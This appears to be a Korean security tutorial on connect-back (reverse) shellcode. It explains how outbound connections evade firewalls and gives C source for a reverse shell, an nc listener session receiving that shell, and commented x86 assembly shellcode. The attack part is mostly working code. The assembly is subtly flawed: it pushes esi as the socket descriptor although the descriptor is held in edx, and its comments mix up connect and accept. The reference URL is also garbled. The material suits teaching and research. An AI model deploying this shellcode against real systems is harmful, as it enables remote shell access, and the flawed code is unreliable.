...
- 포트 바인딩 쉘 코드는 방화벽으로 쉽게 막을 수 있습니다.
- 대부분의 방화벽은 알려진 특정 포트를 제외하고는 들어오는 연결을 막습니다.
- 이렇게 해야 사용자의 외부 노출을 막을 수 있고, 포트 바인딩 쉘코드의 공격도 막을 수 있습니다.
- 소프트웨어 방화벽이 보편화돼 포트 바인딩 쉘 코드가 실제로 통할 가능성은 극히 낮아 졌습니다.
- 하지만 방화벽은 편의성을 방해하지 않으려고 일반적으로 나가는 연결은 거르지 않습니다.
- 방화벽 안쪽에서는 어떤 웹 페이지에든 접근할 수 있고, 나가는 연결을 만들 수 있습니다.
- 즉, 쉘코드가 나가는 연결을 만들 수 있다면 방화벽을 무시하고 공격할 수 있습니다.
- 방화벽 안쪽에서는 어떤 웹 페이지에든 접근할 수 있고, 나가는 연결을 만들 수 있습니다.
- 커넥트 백(connect-back) 쉘 코드는 공격자로부터의 연결을 기다리는 대신 공격자의 IP 주소로 돌아오는 TCP 연결을 만듭니다.
- TCP 연결을 만들 때는 socket()과 connect() 함수의 호출이 필요합니다.
- 포트 바인팅 쉘코드와 비교해 socket호출은 동일하고, connect() 호출의 인자는 bind()의 인자와 같으므로 포트 바인딩 쉘코드와 비슷합니다.
C language
- Port bind shellcode와 많이 다르지 않습니다.
- bind, listen, accept 함수 대신 connect 함수를 이용하여 서버에 접속합니다.
Code Block | ||||
---|---|---|---|---|
| ||||
#include <stdio.h> #include <unistd.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> int main(void) { int i, server_sockfd; socklen_t socklen; struct sockaddr_in server_addr; char *argv[] = { "/bin/sh", NULL}; server_addr.sin_family = AF_INET; server_addr.sin_port = htons(2345); server_addr.sin_addr.s_addr = inet_addr("127.0.0.1"); server_sockfd = socket( AF_INET, SOCK_STREAM, IPPROTO_IP ); connect(server_sockfd, (struct sockaddr *)&server_addr, sizeof(server_addr)); for(i = 0; i <= 2; i++) dup2(server_sockfd, i); execve( "/bin/sh", argv, NULL ); } |
...
- 다음과 같이 nc 프로그램을 이용해 port를 오픈합니다.
Code Block | ||
---|---|---|
| ||
lazenca0x0@ubuntu:~$ nc -l -p 2345 -v Listening on [0.0.0.0] (family 0, port 2345) |
- 앞에서 작성한 코드를 빌드 후 실행합니다.
Code Block | ||
---|---|---|
| ||
lazenca0x0@ubuntu:~/back$ gcc -o test test.c lazenca0x0@ubuntu:~/back$ ./test |
- 해당 프로그램을 실행하면 nc로 오픈한 Port에 접속하게되며, nc를 이용해 "/bin/sh" 프로그램을 이용할 수 있습니다.
Code Block | ||
---|---|---|
| ||
lazenca0x0@ubuntu:~$ nc -l -p 2345 -v Listening on [0.0.0.0] (family 0, port 2345) Connection from [127.0.0.1] port 2345 [tcp/*] accepted (family 2, sport 55482) id uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) exit lazenca0x0@ubuntu:~$ |
Connect()
- connect() 함수는 생성한 소켓을 통해 서버로 접속을 요청합니다.
Code Block | ||||
---|---|---|---|---|
| ||||
int connect(int sockfd, const struct sockaddr *serv_addr, socklen_t addrlen); |
- 해당 함수의 시스템 콜 번호는 3번입니다.
Code Block | ||
---|---|---|
| ||
lazenca0x0@ubuntu:~$ cat /usr/include/linux/net.h |grep connect
#define SYS_CONNECT 3 /* sys_connect(2) */
SS_UNCONNECTED, /* unconnected to any socket */
SS_CONNECTING, /* in process of connecting */
SS_CONNECTED, /* connected to socket */
SS_DISCONNECTING /* in process of disconnecting */
lazenca0x0@ubuntu:~$ |
Assembly code
Code Block | ||
---|---|---|
| ||
BITS 32 ;socket(AF_INET, SOCK_STREAM, IPPROTO_IP) push BYTE 102 ; socketcall의 시스템 콜 번호 102를 Stack에 저장합니다. pop eax ; Stack에 저장된 시스템 콜 번호를 EAX 레지스터에 저장합니다. cdq ; EDX 레지스터에 DWORD 크기의 Null byte를 저장합니다. push dword 1 ; socket 함수의 호출 번호 1을 Stack에 저장합니다. pop ebx ; socketcall() 함수의 1번째 인자(EBX 레지스터)값으로 SYS_SOCKET(1)을 저장 합니다. ;두번째 인자에 전달할 인자 배열을 생성 push edx ; socket() 함수의 3번째 인자 값 0을 Stack에 저장합니다. push ebx ; socket() 함수의 2번째 인자 값 SOCK_STREAM(1)을 Stack에 저장합니다. push BYTE 2 ; socket() 함수의 1번째 인자 값 PF_INET(2)을 Stack에 저장합니다. mov ecx, esp ; socketcall() 함수의 2번째 인자(ECX 레지스터)값으로 인자 배열의 시작 주소값(ESP 레지스터)을 저장 합니다. int 0x80 ;server_sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP) xchg edx,eax ; 소켓 함수로 부터 리턴받은 값을 EDX 레지스터에 저장합니다. ; EAX 레지스터는 0으로 초기화 합니다. ;connect(sockfd, (struct sockaddr *)&server_addr, sizeof(server_addr)) mov al, 0x66 ; socketcall의 시스템 콜 번호 102를 Stack에 저장합니다. ;struct sockaddr_in server_addr; push DWORD 0x0101017f ; server_addr.sin_addr.s_addr = inet_addr("127.1.1.1"); Little-endian push WORD 0x2909 ; server_addr.sin_port = htons(2345); Little-endian inc ebx ; push WORD bx ; server_addr.sin_family = AF_INET; mov ecx, esp ; ECX레지스터에 server_addr 구조체의 시작 주소를 저장합니다. push BYTE 16 ; connect() 함수의 3번째 인자 값 16을 Stack에 저장합니다. push ecx ; connect() 함수의 2번째 인자 값 &server_addr을 Stack에 저장합니다. push esi ; connect() 함수의 1번째 인자 값 server_sockfd를 Stack에 저장합니다. mov ecx, esp ; socketcall() 함수의 2번째 인자 값을 ECX 레지스터에 저장 합니다. inc ebx ; socketcall() 함수의 1번째 인자 값으로 SYS_CONNECT(3)를 저장하게 됩니다. int 0x80 ;for(i = 0; i <= 2; i++) ; dup2(server_sockfd, i); xchg eax,ebx ; accept() 함수로 부터 리턴받은 파일 디스크립터를 EBX레지스터에 저장하고, EAX레지스터 초기화를 위해 파일 디스크립터(0x00000005)를 EAX 레지스터에 저장합니다. push BYTE 0x2 ; Stack에 2 저장합니다. pop ecx ; ECX 레지스터에 2으로 저장 합니다.(dup2 함수의 2번째 인자값) dup2_call: mov BYTE al, 0x3F ; dup2 함수의 시스템 콜 번호(63)를 AL 레지스터에 저장합니다. int 0x80 ; dec ecx ; dup2 함수의 2번째 인자값을 감소(-1) 시킵니다. jns dup2_call ; 부호 플래그가 거짓(0)이면 dup2_call로 점프 합니다. ;execve( "/bin/sh", argv, NULL ); mov BYTE al, 11 ; execve() 시스템 함수의 콜 번호 11을 EAX레지스터에 저장합니다. push edx ; 문자열의 끝을 알리기 위해 Null을 먼저 Stack에 저장합니다. push 0x68732f2f ; 문자 "//sh"를 Stack에 저장합니다. Little-endian push 0x6e69622f ; 문자 "/bin"를 Stack에 저장합니다. Little-endian mov ebx, esp ; execve() 함수의 1번째 인자값으로 ESP 레지스터의 값을 저장합니다. push edx ; Stack에 Null을 저장합니다. mov edx, esp ; execve() 함수의 3번째 인자값으로 Null이 저장된 배열의 주소(ESP)를 저장합니다. push ebx ; Stack에 "/bin//sh" 문자의 시작주소(EBX)를 저장합니다. mov ecx, esp ; execve() 함수의 2번째 인자값으로 배열의 주소(ESP,["/bin//sh"],[Null])를 저장합니다. int 0x80 ; |
Related site
- httpshttp://en.wikipediaman7.org/wiki/Static_program_analysis/linux/man-pages/man2/connect.2.html
Panel |
---|